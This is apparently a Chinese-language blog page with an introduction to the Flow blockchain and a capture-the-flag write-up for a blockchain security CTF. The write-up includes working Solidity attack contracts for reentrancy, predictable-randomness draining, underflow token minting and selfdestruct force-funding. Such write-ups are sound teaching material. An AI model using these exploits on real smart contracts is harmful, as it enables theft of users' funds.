【項目介紹】Flow ( Dapper Labs )

這個項目算是很新的項目,去年的 9/22 - 10/3 才在第一波 ICO,每人限購 1000 USDC,當時 ICO 的價格是一顆 FLOW 要價 0.1 USDC,到現在也漲了 200 倍了吧,只恨沒有買更多啊 Orz 不過要鎖倉一年,所以要到今年底才拿的回來,但是光是產生的利息就已經回本好幾倍了xD
好了,廢話不多說,下面來介紹一下 flow 的特點。

資源

這邊先放幾個連結,有興趣入門的可以看一下

特點

Flow 是專門為應用程式以及遊戲所開發的一條新的區塊鍊
在鍊上面可以用 Cadence 這個程式語言撰寫 smart contract,對比隔壁棚的 Ethereum 用 Solidity 寫 smart contract

Cadence 這個程式語言有什麼特點呢

  • Resource-Oriented Programming
  • Upgradable Smart Contract
    • 多了一個 beta state 可以讓你盡情的 upgrade,在這個階段,如果使用這要用就要自行承擔風險囉,話是這樣說的
    • 等到都測試完後,就可以正式 release 了,之後就跟隔壁棚 Ethereum 的 smart contract 一樣就不能再改他了
  • Built-in Logging Support
    • 只會在 transaction 上標記一個記號,你想要看 log 就自己在離線執行一次就可以看到了,不像隔壁棚 Ethereum 把 log 儲存在鍊上面
    • 在 Cadence 語言中就直接 log("hi") 就可以印 log 了,不像隔壁棚 Ethereum 還要先定義 event 再 emit

Flow 這條區塊鍊有哪些特點呢

  • 垂直分工 ( pipeline ),把問題切成四份,某種問題會有一種專門的節點負責處理
    • 不像隔壁棚 Ethereum 尋求 sharding 的解決方式,用平行分工把所有交易切成很多子鍊,多了很多問題
    • 分下面四種工作
      • Consensus Nodes : 共識機制在此發功,Flow 使用 HotStuff 共識機制
      • Verification Nodes : 檢查正確性,取締違規者
      • Execution Nodes : 執行交易附帶的那些計算工作,也就是 smart contract 裡面的程式
      • Collection Nodes : 負責包裝交易們處理些雜事,再丟給 Consensus Nodes,用來提昇整體區塊鍊的效率
    • 總而言之
      • Consensus 和 Verification 這兩種 Node 是安全守門員負責讓 Flow 更安全
      • Execution 和 Collection 這兩種 Node 是瘋狂機器人負責讓 Flow 更有效率跑得更快
  • 每個帳號裡面都可以有多個 smart contract,不像隔壁棚 Ethereum 的 smart contract 和 address 是一對一的關係
  • 內建支援 multi-signature,每個 key 會有一個 weight,只有你提供的 key 們的 weight 加起來有 1000 就可以做事情了
  • 聽官網介紹是說有帳號恢復機制,不清楚細節
  • 強調說他遵守了資料庫系統的 ACID ( Atomic, Consistent, Isolated, and Durable ) 原則,因為根本上區塊鍊就是一個去中心化的資料庫

如何成為節點

官方的文檔 - Setting Up a Flow Node

NODE TYPE CPU MEMORY DISK
Collection 2 cores 16 GB 200 GB
Consensus 2 coresv 16 GB 200 GB
Execution 16 cores 128 GB 2 TB
Verification 2 cores 16 GB 200 GB
Access 2 cores 16 GB 200 GB

Make sure you have a sufficiently fast connection; we recommend at least 1Gbps, and 5Gbps is better.

硬體要求還行,我的桌機好像還能跑,但是這個網速要求有點高啊
而且還要填表單申請,太中心化了啊
然後這裡有寫每種 node 要跑得話要 stake 多少顆 flow,最便宜也至少要 stake 135000 顆 flow,以目前的價格來看大概是 270 萬美金吧,我去

Flow 目前的一些問題

目前 Flow 還在初期階段,有些東西還沒搞好
下面一些資訊是我在 discord 群看到的

we still have a lot of things locked down in mainnet right now. The ability to create accounts is one of them. At this time only partnered wallets can create accounts. This will obviously be opened up in the future. At a minimum it won’t happen until fees are in place on mainnet.

  • qvvg on discord

主網路還沒好啊,不能隨意創帳號
需要他們合作的夥伴像是 blockto 才能創,可以用 https://port.onflow.org/ 這個創帳號的樣子
還不夠去中心化啊

Flow’s fee model is still under development, but will have transaction fees. The payer of a transaction can be separate from the authorizer, so dapps can easily pay for their users transactions. Flow keeps tx fees affordable and accessible for all.

  • Flow Assistant Bot on discord

手續費的機制也還沒弄好啊

Flow is an decentralized protocol being built in an open ecosystem - there is no formal roadmap but if you’d like to see areas people are currently expending effort you can take a look at issues currently in the GitHub repo https://github.com/onflow/flow/issues and feel free to create or comment on issues for anything that you think should exist on Flow.

  • Flow Assistant Bot on discord

沒有正式的 roadmap

Flow 的應用

  • NBA Top Shot: NBA 主題的 NFT,可以讓你收藏你最愛的球員,以及他們得分的片段等
  • VIV3: 買賣 NFT 的平台
  • MotoGP™ Ignition: 類似 Ethereum 上的 F1® Delta Time,同一批開發人員的樣子,只是從 F1 賽車改成 MotoGP 摩托車,可以組裝自己的車車然後跟別人比賽,下個月 3/26 開賣
  • CryptoKitties: 還在計畫從 Ethereum 遷移到 Flow,不知道是哪時候

總結

Flow 提出了很多方案來改進去中心化應用面臨到的問題,接下來就要靜待時間的考驗,等潮水退了就知道 Flow 有沒有穿褲子了

Flow to the Moon 🚀

Read more

【CTF Writeups】Security Innovation Blockchain CTF

這邊是紀錄我寫 Security Innovation Blockchain CTF 的 Writeups

Donation

這題是簽到題
就只是讓我們呼叫合約裡面的這個函式 withdrawDonationsFromTheSuckersWhoFellForIt

Lock Box

這題有個 privatepin 變數,但是 private 只是代表那個變數沒有 getter 函式,把合約的狀態抓下來就看光光啦
使用 web3.eth.getStorageAt 這個函式
父合約的變數會在子合約的變數的前面
所以 position 0 的位址是 authorizedToPlay,而 position 1 的位址就是 pin
變數在 storage 裡面怎麼擺的可以參考這篇 Understanding Ethereum Smart Contract Storage

Piggy Bank

這題直接呼叫 collectFunds 就好了
只有 PiggyBankcollectFundsonlyOwnerCharliesPiggyBankcollectFunds 沒有 onlyOwner

SI Token Sale

這題的 purchaseTokens 沒有用 SafeMath,也沒有檢查 _value 要大於 feeAmount
先轉個 0.000001 給合約,這樣 0.000001 - 0.00001 就會 underflow 變成很大的數字,就得到了超多的 token
然後再用 refundTokens 就可以半價把 token 換成 ether 錢錢了

Secure Bank

SecureBankwithdrawMembersBankwithdraw 其中的 _value 參數形態不一樣
他們會被看成是不一樣的函式,所以會有兩個不一樣的型態 withdraw 可以呼叫
MembersBankwithdraw 沒有檢查是不是本人,所以就直接把 contract creator 的錢領走

Lottery

這題要猜 entropy^entropy2 的值,猜到就可以拿走裡面的錢錢

entropy = blockhash(block.number),但是我們沒辦法知道這個 block 的 blockhash,因為這個 block 還沒算完
但這樣寫不會有錯誤,只是出來的值會是 0
既然 entropy = 0 那就只剩 entropy2,而 entropy2 是根據 msg.sender 來的
所以我們可以直接算出 _seed 的值
可以直接用 remix 寫個簡單的 smart contract 幫我們算那個值,然後利用 event 來印出那個值 ( 當 print 用 )

1
2
3
4
5
6
7
8
9
pragma solidity ^0.5.9;

contract test {
event Log(bytes32 value);

function go () public {
emit Log(keccak256(abi.encodePacked(msg.sender)));
}
}

或是直接寫一個攻擊合約,去呼叫 play 函式
記得要先把這個合約加到 authorizedToPlay,如果是 gas 不夠就調高 gas limit 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.9;

import "./challenge.sol";

contract hack {
function exploit(address payable _target) public payable {
Lottery target = Lottery(_target);

bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint256 seeds = uint256(entropy2);

target.play.value(msg.value)(seeds);

msg.sender.transfer(address(this).balance);
}
}

Trust Fund

這題是經典的 reentrant attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.9;

contract TrustFund {
function withdraw() external {}
}

contract hack {
address target = 0xd297ab1c9653295BdE4f6b2e32574Ac5DD994997;
uint count = 10;

function () external payable {
if (count > 0) {
count--;
TrustFund trust = TrustFund(target);
trust.withdraw();
}
}

function exploit () public {
TrustFund trust = TrustFund(target);
trust.withdraw();
}

function withdraw () public {
msg.sender.transfer(address(this).balance);
}
}

Heads or Tails

這題跟 Lottery 很像,不過用的是上一個 block 的 blockhash
那就寫個攻擊合約去呼叫 play,就可以算出一樣的 entropy
0.1 ether 能賺 0.05 ether,所以玩個 20 次就把錢全部撈出來啦
記得要寫 fallback 函式才能接錢進來呀 ( 我這裡卡超久der )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.5.9;

contract HeadsOrTails {
function play(bool _heads) external payable {}
}

contract hack {
address target = 0xf8583ccB9900615e0b8304A16539EBFD96c2B0af;

function () external payable {}

function exploit () public payable {
bytes32 entropy = blockhash(block.number - 1);
bool coinFlip = (entropy[0] & '\x01') == '\x01';

HeadsOrTails heads = HeadsOrTails(target);

for (uint i = 0; i < 20; i++) {
heads.play.value(0.1 ether)(coinFlip);
}

msg.sender.transfer(address(this).balance);
}
}

Record Label

這題的題目很長,主要的邏輯就是你領錢的時候會被 royalties 抽成,manager 會抽成 80 趴的錢錢
所以如果直接呼叫 withdrawFundsAndPayRoyalties 就可以拿到 0.2 etherroyalties 抽走 0.8 ether,這題就解掉了 ( 題目合約 balance = 0 )
不過正確的解法 ( 我全都要 ) 應該是找出 _manager 的地址,然後呼叫 addRoyaltyReceiverreceiverToPercentOfProfit 這個 mapping 中 _manager 的 percent 覆寫成 0
這樣去領錢就不會被抽成了

Slot Machine

這題的題目很短,就一個 fallback 函式
但是第一行限制一次只能匯款 1 szabo ( 0.000001 ether )
目標是要讓這個合約的 balance 大於等於 5 ether,他就會把所有錢錢都給你
其中一個不透過 fallback 給錢的方法就是用 selfdestruct
selfdestruct 就是把合約清除掉,在被清除掉之前,這個合約可以把他的錢錢匯款給一個帳戶,而這個匯款的動作不會經過 fallback 函式
寫一個攻擊合約,並給他 5 ether,讓他自我毀滅,並在毀滅之前把 5 ether 匯款給題目合約

1
2
3
4
5
6
7
pragma solidity ^0.5.9;

contract hack {
function exploit () public payable {
selfdestruct(address(0x22f616f6b95e23efa8FBBAE44BeeC05890E12A4E));
}
}

  1. https://f3real.github.io/tag/ethereum.html
  2. https://xz.aliyun.com/t/2759
Read more